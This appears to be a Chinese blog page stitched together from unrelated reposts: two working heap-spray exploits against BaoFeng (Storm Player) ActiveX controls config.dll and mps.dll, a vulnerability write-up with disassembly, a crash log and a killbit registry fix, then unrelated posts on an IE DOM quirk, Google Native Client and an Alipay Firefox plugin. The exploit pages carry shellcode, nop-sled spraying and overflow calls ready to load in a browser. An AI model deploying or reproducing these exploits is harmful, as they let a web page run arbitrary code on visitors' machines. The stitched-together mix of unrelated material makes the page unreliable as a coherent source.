#
# BaoFeng (config.dll) ActiveX Remote Code Execution Exploit
# Exploit made by etirah
# Download: www.baofeng.com
#
# Problem DLL : config.dll
# Problem Func : SetAttributeValue(param1,param2,param3)
# Problem Param : param1
#
# References:
# 1. http://forum.eviloctal.com/viewthread.php?tid=35051
# 2. http://www.milw0rm.com/exploits/8579

<html>
<body>
<object classid="clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05" id="target"></object>
 
<script>
function test()
{
    //show messagebox
    var shellcode = unescape("\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6574\u7473\uc48b\u6853\u3a20\u292d\u7468\u2065\u6820\u6168\u6972\ud48b\u5053\u5352\u57ff\u53fc\u57ff\u00f8");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;
 
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;
 
    memory = new Array();
    for (x=0; x<300; x++)
        memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 264)
        buffer+=unescape("%u0c0c%u0c0c");
    target.SetAttributeValue(buffer, ":-)", "(-:");
}
 
test();
 
</script>
</body>
</html>

转自:http://www.pcsec.org/archives/BaoFeng-config-dll-ActiveX-Remote-Code-Execution-Exploit.html

在IE下,获取Param的时候有个诡异现象(不知道算不算bug)。为了清晰起见,下面用最简单的HTML和JavaScript来说明。有这么一段HTML(head部分是标准的head,doctype使用xhtml-transitional的DTD):

   <body>
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="100%" height="100%">
      <param name="movie" value="Test.swf" />
      <param name="quality" value="high" />
      <embed src="Test.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%"></embed>
   </object>
   <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="100%" height="100%">
     <param name="movie" value="Test.swf" />
    <param name="quality" value="high" />
    <embed src="Test.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%"></embed>
   </body>
 </object>

现在,我们分别用两种方式来获取第一个object(swf)的param参数个数:

   var o = document.getElementsByTagName('object')[0];
   alert(o.getElementsByTagName('param').length);
   alert(o.childNodes.length);

猜猜结果分别是什么?还有,再猜猜o.innerHTML是什么?大家可以自己试试。上面的结果分别是4和2,是不是很诡异?
转自:http://ooboy.net/blog/article/687.aspx

#
# BaoFeng (mps.dll) Remote Code Execution Exploit
# By: MITBOY
# Download: www.baofeng.com
#
# Problem DLL    :     mps.dll
# Problem Func   :   OnBeforeVideoDownload()
 
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<input type="button" onclick="test()" value="test" />
<script>
function test()
{
    var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;
 
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;
 
    memory = new Array();
    for (x=0; x<300; x++)
        memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 4150)
        buffer+="\x0c\x0c\x0c\x0c";
    target.OnBeforeVideoDownload(buffer);
}
</script>
</body>
</html>

转自:http://www.rootkit.net.cn/default.asp?id=119

暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞
by bugvuln(bugvuln_at_gmail.com)
niklen(niklenxyz_at_gmail.com)描述:
暴风影音是国内一款相当流行的万能播放器

http://www.baofeng.com/

受影响的系统:
暴风影音2009 <=[3.09.04.17]

细节:
clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05
C:\Program Files\StormII\Config.dll
Sub SetAttributeValue (
ByVal lpQueryStr As String ,
ByVal bstrAttributeName As String ,
ByVal lpValueStr As String
)

当参数lpQueryStr是一个超长字符串时,发生栈溢出,利用堆填充技术,攻击者可以很轻松的利用此漏洞执行任意代码

分析:

.text:10009A4C				 push	ebp
.text:10009A4D				 mov	 ebp, esp
.text:10009A4F				 sub	 esp, 208h	   ; 开辟208h的堆栈空间
.text:10009A55				 cmp	 [ebp+Source], 0 ; 判断参数1是否为空
.text:10009A59				 jz	  short loc_10009AA8
.text:10009A5B				 cmp	 [ebp+arg_C], 0  ; 判断参数3是否为空
.text:10009A5F				 jz	  short loc_10009AA8
.text:10009A61				 push	[ebp+Source]	; 参数1
.text:10009A64				 lea	 eax, [ebp+String]
.text:10009A6A				 push	eax			 ; eax正好指向ebp-208h的堆栈区域
.text:10009A6B				 call	ds:wcscpy	   ; oh,my god,不进行参数合法性检查,直接开始拷贝操作,
.text:10009A6B										 ; 哦豁了,eax指向的堆栈区域全部被超长非法参数占领了-_-!
.text:10009A71				 pop	 ecx
.text:10009A72				 lea	 eax, [ebp+String]
.text:10009A78				 pop	 ecx
.text:10009A79				 push	[ebp+arg_8]
.text:10009A7C				 push	offset String   ; "/@"
.text:10009A81				 push	offset aSS	  ; "%s%s"
.text:10009A86				 push	eax			 ; String
.text:10009A87				 call	ds:swprintf	 ; 上面的拷贝直接影响到这里的swprintf,相当于再对eax指向的堆栈进行一次拷贝操作
			 ; 没有上边的拷贝,这里也要出问题
.text:10009A8D				 add	 esp, 10h
.text:10009A90				 lea	 eax, [ebp+String]
.text:10009A96				 push	[ebp+arg_C]
.text:10009A99				 push	eax
.text:10009A9A				 call	sub_10001201
.text:10009A9F				 mov	 ecx, eax
.text:10009AA1				 call	sub_1000CC9A
.text:10009AA6				 jmp	 short locret_10009AAD
.text:10009AA8 ; ---------------------------------------------------------------------------
.text:10009AA8
.text:10009AA8 loc_10009AA8:						   ; CODE XREF: sub_10009A4C+Dj
.text:10009AA8										 ; sub_10009A4C+13j
.text:10009AA8				 mov	 eax, 80004005h
.text:10009AAD
.text:10009AAD locret_10009AAD:						; CODE XREF: sub_10009A4C+5Aj
.text:10009AAD				 leave
.text:10009AAE				 retn	10h		; 就这样返回,哦豁了

ModLoad: 41f50000 41fc7000 C:\WINDOWS\system32\mshtmled.dll
ModLoad: 10000000 10020000 C:\Program Files\StormII\Config.dll
ModLoad: 63380000 633f8000 C:\WINDOWS\system32\jscript.dll
(eec.ee8): Illegal instruction - code c000001d (first chance)
(eec.ee8): Illegal instruction - code c000001d (!!! second chance !!!)
eax=80004005 ebx=100116b0 ecx=0175f998 edx=00030001 esi=0039fe98 edi=00000000
eip=00410061 esp=0175f5ec ebp=00410041 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Internet Explorer\IEXPLORE.EXE
IEXPLORE+0×10061:
00410061 ff ???
解决办法:
在厂商没有推出相应的补丁之前,
建议用户通过注册表对相应的CLSID:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05设置Killbit
或者将以下文本保存为.REG文件并导入:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05}]
“Compatibility Flags”=dword:00000400

–EOF–

据国外媒体报道,Google公布了新的软件开发计划,它允许网络开发者编写更强大的Web程序,这些程序直接通过系统运行而不用通过浏览器来进行。Google工程师在几天发布了名为Native Client的开发软件,它是一款开源软件。虽然目前正处于发展的早期。

但是Google称,它到最后将允许网络开发者开发和桌面软件一样的的web程序,这些程序将带来更快的速度。Native Client类似于微软的ActiveX技术,它还能在Linux和Mac OS X下运行。目前它尚未支持IE,仅支持Google Chrome, Firefox, Safari 和Opera。

转自:http://www.cnbeta.com/articles/71827.htm

支付宝控件支持firefox了

郁闷,以前为了这个伤透了脑筋,找到过一个可以让Firefox支持activex的插件,不过功能很少,而且对安全性有点怀疑,所以就没有用.平时用支付宝都是直接用Firefox上的ie tab了,今天无意间看到支付宝上的有非IE的控件下载,嘿嘿,马上试用,不过效果不佳.不知道是不是人品问题,偶装了插件也不能用..无语了,下面有下载地址,大家可以试下看能不能用.....看图

Alipay官方提供的 https://img.alipay.com/download/aliedit/npaliedit.exe

Moziall提供的 https://addons.mozilla.org/zh-CN/firefox/addon/6707

这两个地址都为安全链接,请大家在网上下载时注意安全哦...

绿色版的Firefox建意安装Moziall提供的插件,直接就会安装了.因为Alipay提供的会检测注册表中是否有Firefox的安装路径,要是绿色版的话,因为不存在,所以无法安装,当然可以采用软件解包一下安装程序,所app目录中的两个文件npaliedit.dll npaliedit.xpt拷到Firefox的plugins目录就好了.我安装的时候两种方法全试了,不过不行,就是一直如上图提示请点此处输入密码,郁闷死我了.